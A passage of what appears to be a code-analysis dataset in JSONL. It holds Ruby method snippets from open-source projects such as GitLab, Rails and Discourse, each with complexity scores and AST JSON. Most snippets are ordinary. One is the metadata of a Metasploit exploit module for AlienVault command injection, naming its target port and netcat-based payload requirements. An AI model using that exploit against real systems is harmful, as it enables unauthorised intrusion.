end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"max_archive_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"job_artifacts_archive\"]},\"size\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@max_archive_size\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Artifacts archive for job `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"` is too large: \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bytes_to_human_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"job_artifacts_archive\"]},\"size\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"exceeds maximum of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bytes_to_human_size\",{\"type\":\"lvar\",\"children\":[\"max_archive_size\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"artifacts_metadata?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Job `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"` (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@job\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\") has missing artifacts metadata and cannot be extracted!\"]}]}]}]}]}]}","id":"67b92760-15b1-4e83-a0ac-bcf702b2e022"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/localization_attributes_replacer.rb","start_line":4,"raw_source":"def self.replace_category_attributes(category, crawl_locale)\n    if loc = get_localization(category, crawl_locale)\n      category.name = loc.name if loc.name.present?\n      category.description = loc.description if loc.description.present?\n    end\n\n    while category = category.parent_category\n      replace_category_attributes(category, crawl_locale)\n    end\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"replace_category_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]},{\"type\":\"arg\",\"children\":[\"crawl_locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"send\",\"children\":[null,\"get_localization\",{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"crawl_locale\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"name\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"description\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"description=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"description\"]}]},null]}]},null]},{\"type\":\"while\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"parent_category\"]}]},{\"type\":\"send\",\"children\":[null,\"replace_category_attributes\",{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"crawl_locale\"]}]}]}]}]}","id":"5cfc0fda-6ca1-40dd-a204-e799bb8b7a41"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buf_file_single.rb","start_line":148,"raw_source":"def stop\n        if @variable_store\n          @variable_store.delete(@path)\n        end\n\n        super\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variable_store\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variable_store\"]},\"delete\",{\"type\":\"ivar\",\"children\":[\"@path\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ff0b983c-83c9-4bbb-8ad4-bd7697cfc0cf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/recon/makeiplist.rb","start_line":90,"raw_source":"def make_list(in_f, out_f)\n  in_f.each_line do |range|\n    ips = Rex::Socket::RangeWalker.new(range)\n    ips.each do |ip|\n      out_f.puts ip\n      end\n    end\nend","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"make_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"in_f\"]},{\"type\":\"arg\",\"children\":[\"out_f\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"in_f\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ips\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"RangeWalker\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ips\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out_f\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]}]}]}]}","id":"6816b9f0-9ae9-4e80-ae6c-99493cac9599"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":465,"raw_source":"def test_parse_with_missing_time_components\n    zone = ActiveSupport::TimeZone[\"Eastern Time (US & Canada)\"]\n    zone.stub(:now, zone.local(1999, 12, 31, 12, 59, 59)) do\n      twz = zone.parse(\"2012-12-01\")\n      assert_equal Time.utc(2012, 12, 1), twz.time\n    end\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_with_missing_time_components\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Eastern Time (US & Canada)\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"local\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[59]},{\"type\":\"int\",\"children\":[59]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2012-12-01\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2012]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time\"]}]}]}]}]}]}","id":"5a8385a0-cda3-4202-af43-d14cdbe1c19a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/experiment_tracking/experiment_repository.rb","start_line":8,"raw_source":"def initialize(project, user = nil)\n        @project = project\n        @user = user\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"bacc8dec-e1cd-47ad-8f07-9b36b8feec62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/groups_helper.rb","start_line":345,"raw_source":"def localized_jobs_to_be_done_choices\n    {\n      basics: _('I want to learn the basics of Git'),\n      move_repository: _('I want to move my repository to GitLab from somewhere else'),\n      code_storage: _('I want to store my code'),\n      exploring: _('I want to explore GitLab to see if it’s worth switching to'),\n      ci: _('I want to use GitLab CI with my existing repository'),\n      other: _('A different reason')\n    }.with_indifferent_access.freeze\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"localized_jobs_to_be_done_choices\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"basics\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"I want to learn the basics of Git\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"move_repository\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"I want to move my repository to GitLab from somewhere else\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_storage\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"I want to store my code\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exploring\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"I want to explore GitLab to see if it’s worth switching to\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"I want to use GitLab CI with my existing repository\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"other\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"A different reason\"]}]}]}]},\"with_indifferent_access\"]},\"freeze\"]}]}","id":"467e9e71-ca6e-4ce5-b951-4cd6f55e64e7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/message_pack/extensions.rb","start_line":284,"raw_source":"def write_object(object, packer)\n        if object.class.respond_to?(:from_msgpack_ext)\n          packer.write(LOAD_WITH_MSGPACK_EXT)\n          write_class(object.class, packer)\n          packer.write(object.to_msgpack_ext)\n        elsif object.class.respond_to?(:json_create)\n          packer.write(LOAD_WITH_JSON_CREATE)\n          write_class(object.class, packer)\n          packer.write(object.as_json)\n        else\n          raise_unserializable(object)\n        end\n      end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"write_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"packer\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"class\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"from_msgpack_ext\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packer\"]},\"write\",{\"type\":\"const\",\"children\":[null,\"LOAD_WITH_MSGPACK_EXT\"]}]},{\"type\":\"send\",\"children\":[null,\"write_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"class\"]},{\"type\":\"lvar\",\"children\":[\"packer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packer\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"to_msgpack_ext\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"class\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"json_create\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packer\"]},\"write\",{\"type\":\"const\",\"children\":[null,\"LOAD_WITH_JSON_CREATE\"]}]},{\"type\":\"send\",\"children\":[null,\"write_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"class\"]},{\"type\":\"lvar\",\"children\":[\"packer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packer\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"as_json\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise_unserializable\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}]}","id":"1a2dfb42-ca6a-44c1-a841-81ccc01a8b52"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/mime_type.rb","start_line":289,"raw_source":"def ===(list)\n      if list.is_a?(Array)\n        (@synonyms + [ self ]).any? { |synonym| list.include?(synonym) }\n      else\n        super\n      end\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"===\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@synonyms\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"synonym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"synonym\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"31e366d5-c692-47b9-9946-fe51d786860d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/captain/document.rb","start_line":66,"raw_source":"def file_size\n    pdf_file.blob.byte_size if pdf_file.attached?\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"file_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf_file\"]},\"attached?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf_file\"]},\"blob\"]},\"byte_size\"]},null]}]}","id":"01825ff4-512e-4f99-b6a1-41798cb13fd6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/validators/ampf_configuration_validator.rb","start_line":126,"raw_source":"def nextcloud_dependencies\n              @nextcloud_dependencies ||= YAML.load_file(path_to_config).deep_stringify_keys\n            end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"nextcloud_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@nextcloud_dependencies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"send\",\"children\":[null,\"path_to_config\"]}]},\"deep_stringify_keys\"]}]}]}","id":"beac9ca5-84c8-4893-9051-437831873ac7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'AlienVault OSSIM av-centerd Command Injection',\n        'Description' => %q{\n          This module exploits a code execution flaw in AlienVault 4.6.1 and\n          prior.  The vulnerability exists in the av-centerd SOAP web service,\n          where the update_system_info_debian_package method uses perl backticks\n          in an insecure way, allowing command injection. This module has been\n          tested successfully on AlienVault 4.6.0.\n        },\n        'Author' => [\n          'Unknown', # From HP ZDI team, Vulnerability discovery\n          'juan vazquez' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2014-3804'],\n          ['BID', '67999'],\n          ['ZDI', '14-202'],\n          ['URL', 'http://forums.alienvault.com/discussion/2690']\n        ],\n        'Privileged' => true,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Payload' => {\n          # 'BadChars'   => \"[;`$<>|]\", # Don't apply bcuz of the perl stub applied\n          'Compat' => {\n            'RequiredCmd' => 'perl netcat-e openssl python gawk'\n          }\n        },\n        'DefaultOptions' => {\n          'SSL' => true\n        },\n        'Targets' => [\n          [ 'AlienVault <= 4.6.1', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2014-05-05',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(40007)\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"AlienVault OSSIM av-centerd Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a code execution flaw in AlienVault 4.6.1 and\\n\"]},{\"type\":\"str\",\"children\":[\"          prior.  The vulnerability exists in the av-centerd SOAP web service,\\n\"]},{\"type\":\"str\",\"children\":[\"          where the update_system_info_debian_package method uses perl backticks\\n\"]},{\"type\":\"str\",\"children\":[\"          in an insecure way, allowing command injection. This module has been\\n\"]},{\"type\":\"str\",\"children\":[\"          tested successfully on AlienVault 4.6.0.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-3804\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"67999\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"14-202\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://forums.alienvault.com/discussion/2690\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"perl netcat-e openssl python gawk\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"AlienVault <= 4.6.1\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-05-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[40007]}]}]}]}]}]}","id":"198d1b9c-d6e2-46c1-ba3f-0cde2b949b89"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/spaces_controller.rb","start_line":51,"raw_source":"def space_params\n      params.fetch(:space).permit(:limit_post_creation_to_admins)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"space_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"space\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"limit_post_creation_to_admins\"]}]}]}","id":"14c2ef4e-d396-4ab2-8200-aa287dd402b2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/predicate_builder.rb","start_line":187,"raw_source":"def handler_for(object)\n        @handlers.detect { |klass, _| klass === object }.last\n      end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"handler_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handlers\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]},\"last\"]}]}","id":"be67c19f-0055-4dd7-b5ea-55a94fff2c5f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/oauth/applications_controller.rb","start_line":49,"raw_source":"def new\n      @application = ::Doorkeeper::Application.new\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@application\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Doorkeeper\"]},\"Application\"]},\"new\"]}]}]}","id":"29ffb949-924d-4df6-b48f-2903529cda16"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/db/data/20250303194123_migrate_places_lonlat.rb","start_line":4,"raw_source":"def up\n    User.find_each do |user|\n      DataMigrations::MigratePlacesLonlatJob.perform_later(user.id)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DataMigrations\"]},\"MigratePlacesLonlatJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}","id":"4d8ab866-0216-4397-9dcb-789d0ce81654"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/scm/checkout_instructions_service.rb","start_line":93,"raw_source":"def checkout_enabled?\n    checkout_settings[\"enabled\"].to_i > 0\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"checkout_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checkout_settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"enabled\"]}]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"1af49c06-6199-4f0d-8273-15cf065146d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/parallel_rspec_runner.rb","start_line":22,"raw_source":"def all_tests\n          @all_tests ||= begin\n            pattern_tests = Dir.glob(test_file_pattern).uniq\n\n            if filter_tests.empty?\n              pattern_tests\n            else\n              pattern_tests & filter_tests\n            end\n          end.sort\n        end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"all_tests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_tests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pattern_tests\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"send\",\"children\":[null,\"test_file_pattern\"]}]},\"uniq\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_tests\"]},\"empty?\"]},{\"type\":\"lvar\",\"children\":[\"pattern_tests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern_tests\"]},\"&\",{\"type\":\"send\",\"children\":[null,\"filter_tests\"]}]}]}]},\"sort\"]}]}]}","id":"208bb485-8b0f-4c08-aa26-d1663b6697ed"}
